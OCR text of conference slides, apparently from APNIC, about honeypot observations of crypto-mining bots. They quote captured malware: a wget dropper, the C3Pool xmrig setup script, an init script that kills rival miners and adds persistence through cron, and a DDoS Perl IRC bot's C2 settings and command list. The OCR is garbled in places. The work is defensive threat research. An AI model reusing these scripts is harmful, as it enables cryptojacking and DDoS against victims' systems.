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Talking Points

* APNIC Community Honeynet Project
* Crypto-mining Bots Observed
* Discussion



APNIC Community Honeynet Project

* APNIC
O www.apnic.net
o academy.apnic.net
o apnic.foundation

* APNIC Community Honeynet Project
o Initially used for awareness and training (2014)
o Since 2018 deployment with multiple sensors & partners

 The Backend

o Open Source projects (Community Honey Network / CHN), Elastic Stack + scripts
o Mix of Telnet/SSH (Cowrie) and Dionaea
o Does the job!


http://www.apnic.net/

APNIC

e Data Shared / Used

o Internally dash.apnic.net for APNIC Members to be notified if their IPs are
seen in the honeypot logs

o Sharing with communities — ShadowServer Foundation, CERTs/CSIRTs, Feeds
for MISP

o Research and Analysis (need more of this)

* We are interested to collaborate & talk about honeypots with
everyone
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Crypto-Mining Bots

HE GLOBAL HUNT

OR THE CRIME LORDS
* 1 of the popular threats observed on the ssh based

honeypots

o I've spoken about DDOS-agents / ddos botnets at previous
MNSEC

* |[n a nutshell

o Not really new (years!) but awareness is somewhat lacking
(from IR perspective)

o Unauthorised used of systems to mine crypto currency
o Monero - privacy-oriented Cryptocurrency

o Quite noisy and persistent

o Infected devices/systems will scan and infect others
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Observed Activities
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Timestamp, Source IP & credentials

Getting In the Simple Way
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Miner.sh

cd /tmp
wget -qc http://20 gz

tar xf miner3.tgz
rm -rf miner3.tgz
cd .cache
chmod +x *
Ix>.a




# printing greetings

echo "C3Pool mining setup script v$VERSION."

echo "E&: BZRUBMAEREFEZRE  WERIEFECMENNRSHEAER A"

echo "HIWERIERE , HEFENE B, HREXEEREHRRAER"

echo "(please report issues to support@c3pool.com email with full output of this script with extra \"-x\"
echo

if [ "$(id -u)" == "@" ]; then
echo "WARNING: Generally it is not adviced to run this script under root"
echo "EE: FAENErootA P TEALEA"

it

# command line arguments
WALLET=$1
EMAIL=$2 # this one is optional

# checking prerequisites

if [ -z $WALLET 1; then
echo "Script usage:"
echo "> setup_c3pool_miner.sh <wallet address> [<your email address>]"
echo "ERROR: Please specify your wallet address"
exit 1
fi

WALLET_BASE="echo $WALLET | cut -f1 -d".""

if [ ${#WALLET_BASE} != 106 -a ${#WALLET_BASE} != 95 ]; then
echo "ERROR: Wrong wallet base address length (should be 106 or 95): ${#WALLET_BASE}"
exit 1

il

if [ -z $HOME 1; then
echo "ERROR: Please define HOME environment variable to your home directory"
exit 1

it

if [ ! —d $HOME ]; then
echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
echo ' export HOME=<dir>'
exit 1

fi

if ! type curl >/dev/null; then
echo "ERROR: This script requires \"curl\" utility to work correctly"

——More——(10%)

\"bash\" option)"

C3Pool mining setup script




Setup script — digging in for details

echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz"
echo "[*] T& C3Pool hrAKI Xmrig El /tmp/xmrig.tar.gz 5"
if ! curl -L --progress-bar
"http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz;
then

echo "ERROR: Can't download
http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz file to
[tmp/xmrig.tar.gz"

echo "&£ iR XiETE
http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz {4 ZI|
[tmp/xmrig.tar.gz"

exit 1
fi



Other Interesting Observations in install
scripts

* Killing other miners
* Infrastructure — where binaries are hosted, mining pool
*Etc



Dota3.tar.gz

ubuntu@pop:/tmp/ $ Is -lanh

total 4.4M

drwxrwxr-x 3 vmail vmail 4.0K Sep 25 21:47 .
drwxrwxrwt 5 root root 24K Sep 29 15:36 ..

-rw-rw-r-- 1 vmail vmail 4.4M Sep 18 08:33 dota3.tar.gz
drwxr-xr-x 5 vmail vmail 4.0K Sep 25 21:47 .rsync



« O m®=% &
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ile Edit Search View Document Help
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1 init unobsfucated:
2
3 pkill -9 go> .out
4 pkill -9 run> .out
5 pkill -9 tsm> .out
6 kill -9 "ps x|grep run|grep -v grep|awk '{print $1}'°> .out
7 kill -9 “ps x|grep go|grep -v greplawk '{print $1}'> .out
8 kill -9 “ps x|grep tsm|grep -v greplawk '{print $1}'’> .out
9 pwd > dir.dir
10 dir=$(cat dir.dir)
11 cd $dir
12 chmod 777 *
13 rm -rf cron.d
14 rm -rf ~/.nullcachx
15 rm -rf ~/.firefoxcatchx
16 rm -rf ~/.bashtemx
17 rm -rf ~/.configrcx
18 mkdir ~/.configrc4
19 cp -r a ~/.configrc4/
20 cp -r b ~/.configrc4/
21 cd ~/.configrc4/a/
22 cat $dir/inite | bash >> /dev/null &
23 sleep 5s
24 nohup ./a >>/dev/null &
25 c¢d ~/.configrc4/b/
26 nohup ./a >>/dev/null &
27 cd $dir
28 cd ¢
29 nohup ./start >>/dev/null &
30 cd ~/.configrc4/
31 pwd > dir2.dir
32 dir2=$(cat dir2.dir)
33 echo "1 1 */2 % * $dir2/a/upd>/dev/null 2>81
34 greboot $dir2/a/upd>/dev/null 2>81
355 8 * * 0 $dir2/b/sync>/dev/null 2>&1
36 greboot $dir2/b/sync>/dev/null 2>81
370 0 */3 * % $dir/c/aptitude>/dev/null 2>81" >> cron.d
38 sleep 3s
39 rm -rf ~/ps
40 rm -rf ~/ps.*
41 crontab cron.d
42 crontab -1
43

B .rsyncfolder-Goog... @ Downloads
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testmachine [Running] - Oracle VM VirtualBox

ra
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| J *~Junobs_init0.txt - Mousepad

File Edit Search View Document Help
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1init@ unobsfucated:|
2
3 pkill -9 go> .out
4 pkill -9 run> .out
5 pkill -9 tsm> .out
6 kill -9 "ps x|grep run|grep -v grep|awk '{print $1}'°> .out
7 kill -9 “ps x|grep go|grep -v greplawk '{print $1}'> .out
8 kill -9 “ps x|grep tsm|grep -v greplawk '{print $1}'’> .out
9 pwd > dir.dir
10 dir=$(cat dir.dir)
11 cd $dir
12 chmod 777 *
13 rm -rf cron.d
14 rm -rf ~/.nullcachx
15 rm -rf ~/.firefoxcatchx
16 rm -rf ~/.bashtemx
17 rm -rf ~/.configrcx
18 mkdir ~/.configrc4
19 cp -r a ~/.configrc4/
20 cp -r b ~/.configrc4/
21 cd ~/.configrc4/a/
22 cat $dir/inite | bash >> /dev/null &
23 sleep 5s
24 nohup ./a >>/dev/null &
25 c¢d ~/.configrc4/b/
26 nohup ./a >>/dev/null &
27 cd $dir
28 cd ¢
29 nohup ./start >>/dev/null &
30 cd ~/.configrc4/
31 pwd > dir2.dir
32 dir2=$(cat dir2.dir)
33 echo "1 1 */2 % * $dir2/a/upd>/dev/null 2>81
34 greboot $dir2/a/upd>/dev/null 2>81
355 8 * * 0 $dir2/b/sync>/dev/null 2>&1
36 greboot $dir2/b/sync>/dev/null 2>81
370 0 */3 * % $dir/c/aptitude>/dev/null 2>81" >> cron.d
38 sleep 3s
39 rm -rf ~/ps
40 rm -rf ~/ps.*
41 crontab cron.d
42 crontab -1
43

J/var/www/html/style.css - Sublime Text (UNREGISTERED) - O .
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Crontab for persistence

vmail@pop:~S crontab -|

56 * * 0 /home/vmail/.configrc5/a/upd>/dev/null 2>&1 @reboot
/home/vmail/.configrc5/a/upd>/dev/null 2>&1

58 * * 0 /home/vmail/.configrc5/b/sync>/dev/null 2>&1 @reboot
/home/vmail/.configrc5/b/sync>/dev/null 2>&1

00 */3 * * /tmp/.X2ka-unix/.rsync/c/aptitude>/dev/null 2>&1 vmail@pop:~S vi /home/vmail/.configrcs



Config



What is in the Config?

"pools": [
{
"algo": null,
"coin": null,
"url": "pool.hashvault.pro:80",

"user":
"4907c6c6rB58TD6KMU2mM59GGbmdeknXgQHrU[redacted]TgrjpzwdTTnwhShnoWz4BbKAMfWLNApG6ARGOS",

[redacted]
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$server = 'gsm.ftp.sh' unless $server;
my $port ='1080";

my $linas_max="'8";
my $sleep='5";

my $homedir = "/tmp";
my $version = 'DDoS Perl Bot v1.0';

my @admlnS = ("W","Z","X","y");
my @hostauth = ("HSBC.users.undernet.org");
my @channels = ("#w");

## DDoS Perl IrcBot v1.0 / 2017 by flood.ro Team
i3 Stealth MultiFunctional IrcBot writen in Perl

#
#
iz This is a free program used on your own risk.
iz

#

#

#

#

#

# !
## lu !nick <newnick>
(it

#

#

#

#

#1/usr/bin/perl

Created for educational purpose only. 'u @flood

## 1'm not responsible for the illegal use of this program. ## lu
A A R
it# [ Channel | #Httit##EEH | Flood | #EHEHHHHHHHHEHHHEHEEEEEE | Utils | HEHEHHEHEH
e R e R A R R R e s P R R
## 'u @join <#channel> ##

@udpl <ip> <port> <time>
@part <#channel> ##
luejoin <#channel> ##
lop <channel> <nick> ##
!deop <channel> <nick> ##
lvoice <channel> <nick>  ##
!devoice <channel> <nick>

@udp3 <ip> <port> <time>
@http <site> <time>

@ctcpflood <nick>
@msgflood <nick>
'msg <nick> @noticeflood <nick>
lquit

luaw

@die

R A R A
st [ Configuration 1 #t##
A

y @rps = ("/usr/local/apache/bin/httpd -DSSL",
"/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd",
"/usr/sbin/sshd -i",
"/usr/sbin/sshd",
"/usr/sbin/sshd -D",
"/usr/sbin/apache2 -k start",

"/sbin/syslogd",

"/sbin/klogd -c 1 -x —-x",
"/usr/sbin/acpid",
"/usr/sbin/cron");

y $process = $rpslrand scalar @rpsl;

y @rversion = ("\@@1VERSION - unknown command.\001",
"\001mIRC v5.91 K.Mardam-Bey\001",

"\001mIRC v6.2 Khaled Mardam-Bey\001",

@udp2 <ip> <packet size> <time>

@utils

@tcp <ip> <port> <packet size> <time>

e A A T A e e e A A A A e A R A
R R e R e R R e R R R R R s R R R R R R R s R R
## | Help | #HHHHHHHHEHHHEHE
HHAHHHH R R R HHHA AR AR RS HRARA AR AR RS H AR RS
Teste on every system with PERL instlled ## lu @system
'u @version
'u @channel

HHE
##
##
##
##

## !u @cback <ip> <port>

## !u @downlod <url+path> <file>
'u @portscan <ip>
'u @mail <subject> <sender>

<recipient> <message>

'u pwd;uname -a;id <for example>
'u @port <ip> <port>
'u @ns <ip/host>

I A I I I A A
B i S i e s i T




Take Aways

* Honeypots / Honeynet quick detection of compromised systems
o Including scripts, tools, IOCs, TTPs

* Cryptominers still active*®

* Easy to detect at host & network levels with controls in place (for
enterprise) but still a problem otherwise

* Basic Access Control & Hardening not in place for many organisations
* Policies for ISPs, Telcos for mitigation and takedowns



Thank Youl!

LinkedIn: Adli Wahid
Email: adli@apnic.net



